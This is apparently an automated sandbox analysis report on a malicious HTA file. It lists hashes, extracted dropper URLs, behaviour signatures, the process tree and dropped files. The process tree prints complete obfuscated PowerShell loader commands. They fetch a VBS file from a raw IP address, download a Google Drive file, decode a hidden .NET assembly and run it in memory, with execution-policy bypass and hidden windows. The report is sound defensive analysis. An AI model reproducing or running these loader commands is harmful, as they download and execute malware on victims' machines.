Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    28-10-2024 02:20

General

  • Target

    30e23614597083e75d18692843858ef0a7fb7bd63d028e728616d4dd45169c3f.hta

  • Size

    130KB

  • MD5

    b85260924fba0846c8b7c5a097a95609

  • SHA1

    911e67583068cf720cc7b6548c2ac11a7bbfb1a2

  • SHA256

    30e23614597083e75d18692843858ef0a7fb7bd63d028e728616d4dd45169c3f

  • SHA512

    a60163b64564fd14c39213e895c89f1126f4ac1a4fc4c1fa442012e16eedb8778047e95b91a8090e74d6683269757626472d2a1a652faf2d4923887f5504ef04

  • SSDEEP

    96:Eam7XEWHA0WWHA5xdFxVfLPOYdb2YyCWHAMPWHA3Uz5+2TWHAbc7T:Ea2Xk0GHDxVfzyKCLwbiT

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\30e23614597083e75d18692843858ef0a7fb7bd63d028e728616d4dd45169c3f.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2096
    • C:\Windows\SysWOW64\WindOwspowERshell\V1.0\pOwerSHELl.EXe
      "C:\Windows\syStEM32\WindOwspowERshell\V1.0\pOwerSHELl.EXe" "poWErSheLl -EX bypaSS -NOP -w 1 -c DEVIcEcReDenTiaLdEploymeNT ; iEx($(Iex('[sySteM.teXT.EnCoDiNG]'+[cHAR]58+[chAR]58+'UTF8.gEtStRing([System.CONVErT]'+[char]58+[cHaR]58+'FRombaSE64sTrIng('+[cHAR]34+'JHRmICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELVR5cGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbUJlUkRFZmlOSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJOVVosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBZWFhwTEhvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuWVAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGbmosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRldEZiZik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZUoiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdUNQRERXa1Zpd2EgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly84NS4yMTUuMjA2LjgyLzM4MC9zZWV0aGViZXN0dGhpbmdzd2l0aGdyZWF0aGFwcGluZXNzd2l0aG1lLnRJRiIsIiRlblY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzd2l0aGdyZWF0aGFwcGluZXNzd2l0LnZiUyIsMCwwKTtzdEFSdC1TTGVFcCgzKTtTVEFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRoYXBwaW5lc3N3aXQudmJTIg=='+[chAR]0X22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2332
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bypaSS -NOP -w 1 -c DEVIcEcReDenTiaLdEploymeNT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2140
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nwy6u2ni.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2824
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDB04.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDB03.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2968
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestthingswithgreathappinesswit.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1028
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aUVYKCAoKCdSdUNpbWFnZVVybCA9IHFhZGh0dHBzOi8nKycvZHJpdmUuZ29vZ2xlLmMnKydvbS91Yz9leHBvJysncnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHFhJysnZDtSdUN3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1J1Q2ltYScrJ2dlQnl0ZXMgPSBSdUN3ZWJDbGllbnQuRG93bmxvYWREYXRhKFJ1Q2ltYWdlVXJsKTtSdUNpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZyhSdUNpbWFnZUJ5dGVzKTtSdUNzdGFydEZsYWcgPSBxYWQ8PEJBU0U2NF9TVEEnKydSVD4+cWFkO1J1Q2VuZEZsYWcgPSBxYWQ8PEJBU0U2NF9FTkQ+PicrJ3FhZDtSdUNzdGFydEluZGV4ID0gUnVDaW1hZ2VUZXh0LkluZGV4T2YoUnVDc3RhcicrJ3RGbGFnKTtSdUNlbmRJbmRlJysneCA9IFJ1Q2ltYWdlVGV4dC5JbmRleE9mKFJ1Q2VuZEZsYWcpO1J1Q3N0YXJ0SW5kZXggLWdlIDAgJysnLWFuZCBSdUNlbmRJbmRleCAtZ3QgUnVDc3RhcnRJbmRleDtSdUNzdGFydEluZGV4ICs9IFJ1Q3N0YXJ0RmxhZy5MZW5ndGg7UnVDYmFzZTY0TGVuZ3RoID0gUnVDZW5kSW5kZXggLSBSdUNzdGFydEluZGV4O1J1Q2Jhc2U2NENvbW1hbmQgPSBSdUNpbWFnZVRleHQuU3Vic3RyaW5nKFJ1Q3N0YXJ0SW5kZXgsIFJ1Q2Jhc2U2NExlbmd0aCk7UnVDYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoUnVDYmFzZTY0Q29tJysnbWFuZC5Ub0NoYXJBcnJheSgpIExtbCBGb3JFYWNoLU9iamVjdCB7IFJ1Q18gfSlbLTEuLi0oUnVDYmFzZTY0QycrJ29tbWFuZC5MZW5ndGgpXTtSJysndUNjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOicrJzpGcm9tQmFzZTY0U3RyaScrJ25nKFJ1JysnQ2Jhc2U2NFJldmVyc2VkKTtSdUNsbycrJ2EnKydkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoUnVDY29tbWFuZEJ5dGVzKTtSdUN2YScrJ2lNZXRob2QgPSBbZG5saWIuSU8uSG9tJysnZV0nKycuR2V0TWV0aG9kKHFhZFZBSXFhZCk7UnVDdmFpTWV0aG9kLkludm9rZShSdUNudWxsLCBAKHFhZHR4dC5DVkZEUlJXLzA4My8yOC42MDIuNTEyLjU4Ly86cHR0aHFhZCwgcWFkZGVzYXRpdmFkb3FhZCwgcWFkZGVzYXRpdmFkb3FhZCwgcWFkZGVzYXRpdmFkb3FhZCwgcWFkQ2FzUG9scWFkLCBxYWRkZXNhdGl2YWRvcWFkLCBxYWRkZXNhdGl2JysnYWRvcWFkLHFhZGRlc2F0aXZhZG9xYScrJ2QscWFkZGVzYXRpdmFkb3FhZCxxYWRkZXNhdGl2YWRvcWFkLHFhZGRlc2F0aXZhZG9xYWQscWFkZGVzYXQnKydpdmFkb3FhZCxxYWQxcWFkLHFhZGRlc2F0aXZhZG9xYWQpKTsnKSAgLVJlUGxhQ2UgJ0xtbCcsW2NoYXJdMTI0ICAtQ1JFUExhY0UoW2NoYXJdMTEzK1tjaGFyXTk3K1tjaGFyXTEwMCksW2NoYXJdMzktQ1JFUExhY0UoW2NoYXJdODIrW2NoYXJdMTE3K1tjaGFyXTY3KSxbY2hhcl0zNikp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2940
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iEX( (('RuCimageUrl = qadhttps:/'+'/drive.google.c'+'om/uc?expo'+'rt=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur qa'+'d;RuCwebClient = New-Object System.Net.WebClient;RuCima'+'geBytes = RuCwebClient.DownloadData(RuCimageUrl);RuCimageText = [System.Text.Encoding'+']::UTF8.GetString(RuCimageBytes);RuCstartFlag = qad<<BASE64_STA'+'RT>>qad;RuCendFlag = qad<<BASE64_END>>'+'qad;RuCstartIndex = RuCimageText.IndexOf(RuCstar'+'tFlag);RuCendInde'+'x = RuCimageText.IndexOf(RuCendFlag);RuCstartIndex -ge 0 '+'-and RuCendIndex -gt RuCstartIndex;RuCstartIndex += RuCstartFlag.Length;RuCbase64Length = RuCendIndex - RuCstartIndex;RuCbase64Command = RuCimageText.Substring(RuCstartIndex, RuCbase64Length);RuCbase64Reversed = -join (RuCbase64Com'+'mand.ToCharArray() Lml ForEach-Object { RuC_ })[-1..-(RuCbase64C'+'ommand.Length)];R'+'uCcommandBytes = [System.Convert]:'+':FromBase64Stri'+'ng(Ru'+'Cbase64Reversed);RuClo'+'a'+'dedAssembly = [System.Reflection.Assembly]::Load(RuCcommandBytes);RuCva'+'iMethod = [dnlib.IO.Hom'+'e]'+'.GetMethod(qadVAIqad);RuCvaiMethod.Invoke(RuCnull, @(qadtxt.CVFDRRW/083/28.602.512.58//:ptthqad, qaddesativadoqad, qaddesativadoqad, qaddesativadoqad, qadCasPolqad, qaddesativadoqad, qaddesativ'+'adoqad,qaddesativadoqa'+'d,qaddesativadoqad,qaddesativadoqad,qaddesativadoqad,qaddesat'+'ivadoqad,qad1qad,qaddesativadoqad));') -RePlaCe 'Lml',[char]124 -CREPLacE([char]113+[char]97+[char]100),[char]39-CREPLacE([char]82+[char]117+[char]67),[char]36))"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2804

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESDB04.tmp

    Filesize

    1KB

    MD5

    b1cb4d0c3a76133445da919d13492d19

    SHA1

    1ad400bc0b19e85d813d9f17aafcc605f91e7e71

    SHA256

    44de0ef9653981ff275d65c89ec6cf095ef6282bc4d0e6ab08317c1a1d2181fd

    SHA512

    317eb303da54d9d404e677f883fa188c8fc15ae16ba836272c4418a7fd81e7bba15b1ae9c3e4e407b8efa43290cf6d31396ad95d49bde92a3594a73a85f4d85f

  • C:\Users\Admin\AppData\Local\Temp\nwy6u2ni.dll

    Filesize

    3KB

    MD5

    a925a66fd49d25b74520aab8c531cb3f

    SHA1

    7e5a30d546fbdb3b0494dacab55ed55dbcb9111b

    SHA256

    3cc6322c6c783215020663526a69239c2e4f01c0d369a14062a8bca8a10d9392

    SHA512

    4591865bf124db109714a5c5b36be4ecdd24b23ffaeb7e63bdd348cb125bc822cfed0081e09d03c491c50afb704a32a1c1433ea643258f92d211b9f46bb28b6e

  • C:\Users\Admin\AppData\Local\Temp\nwy6u2ni.pdb

    Filesize

    7KB

    MD5

    7be9dbf250317d542eaf4614b8170e98

    SHA1

    2001267d2ea56dba66e1fdc47fa405de060e8f40

    SHA256

    c3646768d475baeae097eb33f48056e01ccb47154e2cfb4f6e105cb6425cf381

    SHA512

    c60a7f035e265b226e76c3c78385617b619d738e8b5efa3817041751ed4f10c8519fb429ee58ac9993f8bfd27ad0320406e1d0633ac0665ccee4753269cb5cb1

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    25944b03b5e9f5051f6338f465f2c497

    SHA1

    f322d7f39e36ceec5fbe52dc554c613b35f04439

    SHA256

    4fd17e67dc9aa37752988773f73c4f20831a4736d8f0337557c01fabf4738e2b

    SHA512

    2e54c81a7b3eacffcb674f3042e5d327c10c92009dc67e9a772a78a3a31bc3fc2dbd1218c7da5c393f5c1c0b2645eb997c66469e721a87e7dbb5f9048f282ecc

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    efd71ca4bbfd3ad4014c0c7b976596d5

    SHA1

    6f5a764b0078ba0ee68c10e895b2df4bb723c3a6

    SHA256

    a51b78b148ac67809e6b8f04a131e50aefb3a23d9745857d5cb0636a9bd7a837

    SHA512

    a949975fd1a22da0a870de2738a52aa1271a02fdf1d09f0cb056cd4f2359f9d43b64366283958eebe16b64c75a9d2908b98c873749c38a2142dae0f9d52ac23b

  • C:\Users\Admin\AppData\Roaming\seethebestthingswithgreathappinesswit.vbS

    Filesize

    137KB

    MD5

    943769c1661d4e66fb570fc18be9a171

    SHA1

    0204c63f393b0a5fb3467816a08f6006c54b19c1

    SHA256

    cb21f3d02a6dd6dd9e79081ff50a9c36cb6f9266b3f2e47417a919694e0b1545

    SHA512

    4fe2047f5808fdaf8df6d196b0dea50a2d0431e8ce6421ae399d06046e7d394df68056b1ffff0d5c940d8f00320b154ef3ffddd3be91c3671b031ff71bc86c2f

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCDB03.tmp

    Filesize

    652B

    MD5

    b75100027f88942c9fc0025fd82b946c

    SHA1

    87a8e7812572149ebd443063cd8b181f8ae563a5

    SHA256

    09a692031fa65b5e3d4af58d61e23fd13e78bfb62656cd88ec67835dec14350f

    SHA512

    5ac88cb170c211d3cc8a2e76f3b31e3a78b05369d4b80220e96750d35031e672c3b15dfb634b279b021d7a144e4f3a76108d49632f28c6571cd8387cbdfb1c29

  • \??\c:\Users\Admin\AppData\Local\Temp\nwy6u2ni.0.cs

    Filesize

    462B

    MD5

    b31b2127406ec8062b42f6cfaeeba531

    SHA1

    1d117bf0fb1fc24f57f341d6acd95154a47298b2

    SHA256

    8545b19637a099a1147203c681c7b8b049da6021259c3fba765d1412f0fc3dba

    SHA512

    1238e4d22fb2411c8bfe27164e93ca5038a704365dbdea70983867ff8a54c46597e9e7e2262f3d7b349132d0cf1991790e30d4948903454eb803a6820435bfed

  • \??\c:\Users\Admin\AppData\Local\Temp\nwy6u2ni.cmdline

    Filesize

    309B

    MD5

    7035dc8abb3804336807fef4fd853dd7

    SHA1

    a8131be0172c272cd0e22925392bdd45e621ba4e

    SHA256

    996dd8bea17f763761b79fb1c5760043f8259e317dd3281da037c5899b4f846d

    SHA512

    4577d32f357db24dcec48900363999ad2065f69bdc9b1c3076076c1c8b72651c3d93bd2d422792a2ef6465f37d66a307a720bef9deab5f0ee52b919bc461ad1c